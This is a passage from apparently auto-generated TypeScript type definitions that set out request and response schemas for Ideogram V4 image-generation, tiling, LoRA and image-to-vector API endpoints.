inputIdeogramV4ImageToImageAccelerationEnum)[keyof typeof inputIdeogramV4ImageToImageAccelerationEnum] + +export const inputIdeogramV4ImageToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', +} as const + +export type InputIdeogramV4ImageToImageImageSizeKey = + (typeof inputIdeogramV4ImageToImageImageSize)[keyof typeof inputIdeogramV4ImageToImageImageSize] + +export const inputIdeogramV4ImageToImageExpansionModelEnum = { + None: 'None', + Medium: 'Medium', + Large: 'Large', +} as const + +export type InputIdeogramV4ImageToImageExpansionModelEnumKey = + (typeof inputIdeogramV4ImageToImageExpansionModelEnum)[keyof typeof inputIdeogramV4ImageToImageExpansionModelEnum] + +export const inputIdeogramV4ImageToImageRenderingSpeedEnum = { + TURBO: 'TURBO', + BALANCED: 'BALANCED', + QUALITY: 'QUALITY', +} as const + +export type InputIdeogramV4ImageToImageRenderingSpeedEnumKey = + (typeof inputIdeogramV4ImageToImageRenderingSpeedEnum)[keyof typeof inputIdeogramV4ImageToImageRenderingSpeedEnum] + +export type InputIdeogramV4ImageToImage = { + /** + * @description If `True`, the image is returned as a data URI and is not stored. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputIdeogramV4ImageToImageOutputFormatEnumKey + /** + * @description The acceleration level to use for the image generation. + * @default 'none' + * @example none + * @type string | undefined + */ + acceleration?: InputIdeogramV4ImageToImageAccelerationEnumKey + /** + * @description The seed to use for generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description URL of the input image for image-to-image generation. + * @example https://storage.googleapis.com/falserverless/model_tests/svd/rocket.png + * @type string + */ + image_url: string + /** + * @description The output image size. Use 'auto' to match the input image size (capped at ~25MP, up to 8192px per side). + * @default auto + */ + image_size?: ImageSize73113896 | InputIdeogramV4ImageToImageImageSizeKey + /** + * @description Which model expands the prompt. 'None' disables prompt expansion and skips its fee; 'Medium' is fast; 'Large' uses Ideogram's Magic Prompt for the highest quality. + * @default 'Medium' + * @example Large + * @type string | undefined + */ + expansion_model?: InputIdeogramV4ImageToImageExpansionModelEnumKey + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description How much to transform the input image. 1.0 ignores the input image entirely; lower values stay closer to it. + * @minimum 0 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + strength?: number + /** + * @description The prompt to generate an image from. + * @example A red panda perched on a mossy branch in a misty forest at sunrise + * @type string + */ + prompt: string + /** + * @description The rendering speed to use. Faster speeds use fewer denoising steps. + * @default 'BALANCED' + * @type string | undefined + */ + rendering_speed?: InputIdeogramV4ImageToImageRenderingSpeedEnumKey +} + +export type ImageFile3Ffa0462 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputIdeogramV4ImageToImage = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated images. + * @example [{"url":"https://v3b.fal.media/files/b/0a9c92b2/JLDtkHeeec2BL7ZX3PyvI_KzumHcSa.jpg"}] + * @type array + */ + images: ImageFile3Ffa0462[] +} + +export type ImageSizeD72Ce32B = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +/** + * @description A single LoRA weight to apply. + * @type object + */ +export type LoRAInputA216A3Bf = { + /** + * @description Scale factor for the LoRA weights. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL to an Ideogram V4 LoRA weights file (.safetensors). + * @type string + */ + path: string +} + +export const inputIdeogramV4ImageToImageLoraRenderingSpeedEnum = { + TURBO: 'TURBO', + BALANCED: 'BALANCED', + QUALITY: 'QUALITY', +} as const + +export type InputIdeogramV4ImageToImageLoraRenderingSpeedEnumKey = + (typeof inputIdeogramV4ImageToImageLoraRenderingSpeedEnum)[keyof typeof inputIdeogramV4ImageToImageLoraRenderingSpeedEnum] + +export const inputIdeogramV4ImageToImageLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', +} as const + +export type InputIdeogramV4ImageToImageLoraImageSizeKey = + (typeof inputIdeogramV4ImageToImageLoraImageSize)[keyof typeof inputIdeogramV4ImageToImageLoraImageSize] + +export const inputIdeogramV4ImageToImageLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputIdeogramV4ImageToImageLoraOutputFormatEnumKey = + (typeof inputIdeogramV4ImageToImageLoraOutputFormatEnum)[keyof typeof inputIdeogramV4ImageToImageLoraOutputFormatEnum] + +export const inputIdeogramV4ImageToImageLoraExpansionModelEnum = { + None: 'None', + Medium: 'Medium', + Large: 'Large', +} as const + +export type InputIdeogramV4ImageToImageLoraExpansionModelEnumKey = + (typeof inputIdeogramV4ImageToImageLoraExpansionModelEnum)[keyof typeof inputIdeogramV4ImageToImageLoraExpansionModelEnum] + +export const inputIdeogramV4ImageToImageLoraAccelerationEnum = { + none: 'none', + low: 'low', + regular: 'regular', + high: 'high', +} as const + +export type InputIdeogramV4ImageToImageLoraAccelerationEnumKey = + (typeof inputIdeogramV4ImageToImageLoraAccelerationEnum)[keyof typeof inputIdeogramV4ImageToImageLoraAccelerationEnum] + +export type InputIdeogramV4ImageToImageLora = { + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The rendering speed to use. Faster speeds use fewer denoising steps. + * @default 'BALANCED' + * @type string | undefined + */ + rendering_speed?: InputIdeogramV4ImageToImageLoraRenderingSpeedEnumKey + /** + * @description The output image size. Use 'auto' to match the input image size (capped at ~25MP, up to 8192px per side). + * @default auto + */ + image_size?: ImageSizeD72Ce32B | InputIdeogramV4ImageToImageLoraImageSizeKey + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputIdeogramV4ImageToImageLoraOutputFormatEnumKey + /** + * @description The prompt to generate an image from. + * @example A red panda perched on a mossy branch in a misty forest at sunrise + * @type string + */ + prompt: string + /** + * @description URL of the input image for image-to-image generation. + * @example https://storage.googleapis.com/falserverless/model_tests/svd/rocket.png + * @type string + */ + image_url: string + /** + * @description List of LoRA weights to apply (maximum 3). + * @default [] + * @type array | undefined + */ + loras?: LoRAInputA216A3Bf[] + /** + * @description The seed to use for generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description If `True`, the image is returned as a data URI and is not stored. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Which model expands the prompt. 'None' disables prompt expansion and skips its fee; 'Medium' is fast; 'Large' uses Ideogram's Magic Prompt for the highest quality. + * @default 'Medium' + * @example Large + * @type string | undefined + */ + expansion_model?: InputIdeogramV4ImageToImageLoraExpansionModelEnumKey + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The acceleration level to use for the image generation. + * @default 'none' + * @example none + * @type string | undefined + */ + acceleration?: InputIdeogramV4ImageToImageLoraAccelerationEnumKey + /** + * @description How much to transform the input image. 1.0 ignores the input image entirely; lower values stay closer to it. + * @minimum 0 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + strength?: number +} + +export type ImageFile77C0A8Fd = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputIdeogramV4ImageToImageLora = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated images. + * @example [{"url":"https://v3b.fal.media/files/b/0a9c92b2/JLDtkHeeec2BL7ZX3PyvI_KzumHcSa.jpg"}] + * @type array + */ + images: ImageFile77C0A8Fd[] +} + +export type ImageSizeA6Dd8B0A = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputIdeogramV4InstantOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputIdeogramV4InstantOutputFormatEnumKey = + (typeof inputIdeogramV4InstantOutputFormatEnum)[keyof typeof inputIdeogramV4InstantOutputFormatEnum] + +export const inputIdeogramV4InstantImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputIdeogramV4InstantImageSizeKey = + (typeof inputIdeogramV4InstantImageSize)[keyof typeof inputIdeogramV4InstantImageSize] + +export const inputIdeogramV4InstantExpansionModelEnum = { + None: 'None', + Medium: 'Medium', +} as const + +export type InputIdeogramV4InstantExpansionModelEnumKey = + (typeof inputIdeogramV4InstantExpansionModelEnum)[keyof typeof inputIdeogramV4InstantExpansionModelEnum] + +export type InputIdeogramV4Instant = { + /** + * @description If `True`, the image is returned as a data URI and is not stored. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputIdeogramV4InstantOutputFormatEnumKey + /** + * @description The seed to use for generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The resolution of the generated image. + * @default square_hd + */ + image_size?: ImageSizeA6Dd8B0A | InputIdeogramV4InstantImageSizeKey + /** + * @description Which model expands the prompt. 'None' disables expansion; 'Medium' uses the fast magic prompt model. + * @default 'Medium' + * @example Medium + * @type string | undefined + */ + expansion_model?: InputIdeogramV4InstantExpansionModelEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt to generate an image from. + * @example A red panda perched on a mossy branch in a misty forest at sunrise + * @type string + */ + prompt: string +} + +export type ImageFile7B6A4D2C = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputIdeogramV4Instant = { + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated images. + * @example [{"url":"https://v3b.fal.media/files/b/0a9c92b2/JLDtkHeeec2BL7ZX3PyvI_KzumHcSa.jpg"}] + * @type array + */ + images: ImageFile7B6A4D2C[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + timings: { + [key: string]: number + } +} + +export type ImageSize02C64775 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +/** + * @description A single LoRA weight to apply. + * @type object + */ +export type LoRAInput4063Ecb9 = { + /** + * @description URL to an Ideogram V4 LoRA weights file (.safetensors). + * @type string + */ + path: string + /** + * @description Scale factor for the LoRA weights. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export const inputIdeogramV4LoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputIdeogramV4LoraOutputFormatEnumKey = + (typeof inputIdeogramV4LoraOutputFormatEnum)[keyof typeof inputIdeogramV4LoraOutputFormatEnum] + +export const inputIdeogramV4LoraAccelerationEnum = { + none: 'none', + low: 'low', + regular: 'regular', + high: 'high', +} as const + +export type InputIdeogramV4LoraAccelerationEnumKey = + (typeof inputIdeogramV4LoraAccelerationEnum)[keyof typeof inputIdeogramV4LoraAccelerationEnum] + +export const inputIdeogramV4LoraRenderingSpeedEnum = { + TURBO: 'TURBO', + BALANCED: 'BALANCED', + QUALITY: 'QUALITY', +} as const + +export type InputIdeogramV4LoraRenderingSpeedEnumKey = + (typeof inputIdeogramV4LoraRenderingSpeedEnum)[keyof typeof inputIdeogramV4LoraRenderingSpeedEnum] + +export const inputIdeogramV4LoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputIdeogramV4LoraImageSizeKey = + (typeof inputIdeogramV4LoraImageSize)[keyof typeof inputIdeogramV4LoraImageSize] + +export const inputIdeogramV4LoraExpansionModelEnum = { + None: 'None', + Medium: 'Medium', + Large: 'Large', +} as const + +export type InputIdeogramV4LoraExpansionModelEnumKey = + (typeof inputIdeogramV4LoraExpansionModelEnum)[keyof typeof inputIdeogramV4LoraExpansionModelEnum] + +export type InputIdeogramV4Lora = { + /** + * @description If `True`, the image is returned as a data URI and is not stored. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputIdeogramV4LoraOutputFormatEnumKey + /** + * @description The acceleration level to use for the image generation. + * @default 'none' + * @example none + * @type string | undefined + */ + acceleration?: InputIdeogramV4LoraAccelerationEnumKey + /** + * @description The seed to use for generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description The rendering speed to use. Faster speeds use fewer denoising steps. + * @default 'BALANCED' + * @type string | undefined + */ + rendering_speed?: InputIdeogramV4LoraRenderingSpeedEnumKey + /** + * @description The resolution of the generated image. + * @default square_hd + */ + image_size?: ImageSize02C64775 | InputIdeogramV4LoraImageSizeKey + /** + * @description Which model expands the prompt. 'None' disables prompt expansion and skips its fee; 'Medium' is fast; 'Large' uses Ideogram's Magic Prompt for the highest quality. + * @default 'Medium' + * @example Large + * @type string | undefined + */ + expansion_model?: InputIdeogramV4LoraExpansionModelEnumKey + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt to generate an image from. + * @example A red panda perched on a mossy branch in a misty forest at sunrise + * @type string + */ + prompt: string + /** + * @description List of LoRA weights to apply (maximum 3). + * @default [] + * @type array | undefined + */ + loras?: LoRAInput4063Ecb9[] +} + +export type ImageFileD3F4Cbbb = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputIdeogramV4Lora = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated images. + * @example [{"url":"https://v3b.fal.media/files/b/0a9c92b2/JLDtkHeeec2BL7ZX3PyvI_KzumHcSa.jpg"}] + * @type array + */ + images: ImageFileD3F4Cbbb[] +} + +export type ImageSize2A577774 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputIdeogramV4TilingOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputIdeogramV4TilingOutputFormatEnumKey = + (typeof inputIdeogramV4TilingOutputFormatEnum)[keyof typeof inputIdeogramV4TilingOutputFormatEnum] + +export const inputIdeogramV4TilingRenderingSpeedEnum = { + TURBO: 'TURBO', + BALANCED: 'BALANCED', + QUALITY: 'QUALITY', +} as const + +export type InputIdeogramV4TilingRenderingSpeedEnumKey = + (typeof inputIdeogramV4TilingRenderingSpeedEnum)[keyof typeof inputIdeogramV4TilingRenderingSpeedEnum] + +export const inputIdeogramV4TilingAccelerationEnum = { + none: 'none', + low: 'low', + regular: 'regular', + high: 'high', +} as const + +export type InputIdeogramV4TilingAccelerationEnumKey = + (typeof inputIdeogramV4TilingAccelerationEnum)[keyof typeof inputIdeogramV4TilingAccelerationEnum] + +export const inputIdeogramV4TilingImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputIdeogramV4TilingImageSizeKey = + (typeof inputIdeogramV4TilingImageSize)[keyof typeof inputIdeogramV4TilingImageSize] + +export const inputIdeogramV4TilingExpansionModelEnum = { + None: 'None', + Medium: 'Medium', + Large: 'Large', +} as const + +export type InputIdeogramV4TilingExpansionModelEnumKey = + (typeof inputIdeogramV4TilingExpansionModelEnum)[keyof typeof inputIdeogramV4TilingExpansionModelEnum] + +export const inputIdeogramV4TilingTilingModeEnum = { + both: 'both', + horizontal: 'horizontal', + vertical: 'vertical', +} as const + +export type InputIdeogramV4TilingTilingModeEnumKey = + (typeof inputIdeogramV4TilingTilingModeEnum)[keyof typeof inputIdeogramV4TilingTilingModeEnum] + +export type InputIdeogramV4Tiling = { + /** + * @description If `True`, the image is returned as a data URI and is not stored. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputIdeogramV4TilingOutputFormatEnumKey + /** + * @description The rendering speed to use. Faster speeds use fewer denoising steps. + * @default 'BALANCED' + * @type string | undefined + */ + rendering_speed?: InputIdeogramV4TilingRenderingSpeedEnumKey + /** + * @description Optional URL of a mask image for inpainting tiling. White regions are regenerated, black regions are preserved. Requires `image_url`. + */ + mask_url?: string | null + /** + * @description The acceleration level to use for the image generation. + * @default 'none' + * @example none + * @type string | undefined + */ + acceleration?: InputIdeogramV4TilingAccelerationEnumKey + /** + * @description The seed to use for generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description Optional URL of an image. When provided without `mask_url`, performs image-to-image tiling; with `mask_url`, performs inpainting tiling. + */ + image_url?: string | null + /** + * @description The resolution of the generated seamlessly tileable image. + * @default square_hd + */ + image_size?: ImageSize2A577774 | InputIdeogramV4TilingImageSizeKey + /** + * @description Which model expands the prompt. 'None' disables prompt expansion and skips its fee; 'Medium' is fast; 'Large' uses Ideogram's Magic Prompt for the highest quality. + * @default 'Medium' + * @example Large + * @type string | undefined + */ + expansion_model?: InputIdeogramV4TilingExpansionModelEnumKey + /** + * @description Tiling direction: 'both' (omnidirectional), 'horizontal' (left-right only), or 'vertical' (top-bottom only). + * @default 'both' + * @type string | undefined + */ + tiling_mode?: InputIdeogramV4TilingTilingModeEnumKey + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description How much to transform the input image. Only used when `image_url` is provided. + * @minimum 0 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + strength?: number + /** + * @description The prompt to generate an image from. + * @example A red panda perched on a mossy branch in a misty forest at sunrise + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type ImageFile9Ae61B80 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputIdeogramV4Tiling = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated images. + * @example [{"url":"https://v3b.fal.media/files/b/0a9c92b2/JLDtkHeeec2BL7ZX3PyvI_KzumHcSa.jpg"}] + * @type array + */ + images: ImageFile9Ae61B80[] +} + +export type ImageSize62Bc3Ce5 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +/** + * @description A single LoRA weight to apply. + * @type object + */ +export type LoRAInputAa30B849 = { + /** + * @description Scale factor for the LoRA weights. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL to an Ideogram V4 LoRA weights file (.safetensors). + * @type string + */ + path: string +} + +export const inputIdeogramV4TilingLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputIdeogramV4TilingLoraImageSizeKey = + (typeof inputIdeogramV4TilingLoraImageSize)[keyof typeof inputIdeogramV4TilingLoraImageSize] + +export const inputIdeogramV4TilingLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputIdeogramV4TilingLoraOutputFormatEnumKey = + (typeof inputIdeogramV4TilingLoraOutputFormatEnum)[keyof typeof inputIdeogramV4TilingLoraOutputFormatEnum] + +export const inputIdeogramV4TilingLoraExpansionModelEnum = { + None: 'None', + Medium: 'Medium', + Large: 'Large', +} as const + +export type InputIdeogramV4TilingLoraExpansionModelEnumKey = + (typeof inputIdeogramV4TilingLoraExpansionModelEnum)[keyof typeof inputIdeogramV4TilingLoraExpansionModelEnum] + +export const inputIdeogramV4TilingLoraAccelerationEnum = { + none: 'none', + low: 'low', + regular: 'regular', + high: 'high', +} as const + +export type InputIdeogramV4TilingLoraAccelerationEnumKey = + (typeof inputIdeogramV4TilingLoraAccelerationEnum)[keyof typeof inputIdeogramV4TilingLoraAccelerationEnum] + +export const inputIdeogramV4TilingLoraRenderingSpeedEnum = { + TURBO: 'TURBO', + BALANCED: 'BALANCED', + QUALITY: 'QUALITY', +} as const + +export type InputIdeogramV4TilingLoraRenderingSpeedEnumKey = + (typeof inputIdeogramV4TilingLoraRenderingSpeedEnum)[keyof typeof inputIdeogramV4TilingLoraRenderingSpeedEnum] + +export const inputIdeogramV4TilingLoraTilingModeEnum = { + both: 'both', + horizontal: 'horizontal', + vertical: 'vertical', +} as const + +export type InputIdeogramV4TilingLoraTilingModeEnumKey = + (typeof inputIdeogramV4TilingLoraTilingModeEnum)[keyof typeof inputIdeogramV4TilingLoraTilingModeEnum] + +export type InputIdeogramV4TilingLora = { + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The resolution of the generated seamlessly tileable image. + * @default square_hd + */ + image_size?: ImageSize62Bc3Ce5 | InputIdeogramV4TilingLoraImageSizeKey + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputIdeogramV4TilingLoraOutputFormatEnumKey + /** + * @description List of LoRA weights to apply (maximum 3). + * @default [] + * @type array | undefined + */ + loras?: LoRAInputAa30B849[] + /** + * @description Optional URL of an image. When provided without `mask_url`, performs image-to-image tiling; with `mask_url`, performs inpainting tiling. + */ + image_url?: string | null + /** + * @description If `True`, the image is returned as a data URI and is not stored. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The prompt to generate an image from. + * @example A red panda perched on a mossy branch in a misty forest at sunrise + * @type string + */ + prompt: string + /** + * @description Which model expands the prompt. 'None' disables prompt expansion and skips its fee; 'Medium' is fast; 'Large' uses Ideogram's Magic Prompt for the highest quality. + * @default 'Medium' + * @example Large + * @type string | undefined + */ + expansion_model?: InputIdeogramV4TilingLoraExpansionModelEnumKey + /** + * @description The acceleration level to use for the image generation. + * @default 'none' + * @example none + * @type string | undefined + */ + acceleration?: InputIdeogramV4TilingLoraAccelerationEnumKey + /** + * @description Optional URL of a mask image for inpainting tiling. White regions are regenerated, black regions are preserved. Requires `image_url`. + */ + mask_url?: string | null + /** + * @description How much to transform the input image. Only used when `image_url` is provided. + * @minimum 0 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + strength?: number + /** + * @description The rendering speed to use. Faster speeds use fewer denoising steps. + * @default 'BALANCED' + * @type string | undefined + */ + rendering_speed?: InputIdeogramV4TilingLoraRenderingSpeedEnumKey + /** + * @description The seed to use for generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description Tiling direction: 'both' (omnidirectional), 'horizontal' (left-right only), or 'vertical' (top-bottom only). + * @default 'both' + * @type string | undefined + */ + tiling_mode?: InputIdeogramV4TilingLoraTilingModeEnumKey + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number +} + +export type ImageFile52B483D3 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputIdeogramV4TilingLora = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated images. + * @example [{"url":"https://v3b.fal.media/files/b/0a9c92b2/JLDtkHeeec2BL7ZX3PyvI_KzumHcSa.jpg"}] + * @type array + */ + images: ImageFile52B483D3[] +} + +export const inputIdeogramVectorImageToVectorModeEnum = { + default: 'default', + simple: 'simple', +} as const + +export type InputIdeogramVectorImageToVectorModeEnumKey = + (typeof inputIdeogramVectorImageToVectorModeEnum)[keyof typeof inputIdeogramVectorImageToVectorModeEnum] + +export type InputIdeogramVectorImageToVector = { + /** + * @description `default` preserves finer details; `simple` uses fewer, simpler shapes. + * @default 'default' + * @type string | undefined + */ + mode?: InputIdeogramVectorImageToVectorModeEnumKey + /** + * @description The image to convert to SVG. JPEG, PNG or WebP, max 50MB. + * @example https://v3.fal.media/files/kangaroo/0rinwnj_Kn9Fsu2dK-aKm_image.png + * @type string + */ + image_url: string +} + +export type File62790205 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputIdeogramVectorImageToVector = { + /** + * @description The generated SVG files. + * @type array + */ + images: File62790205[] + /** + * @description Seed used for generation, if provided. + */ + seed?: number | null +} + +export const 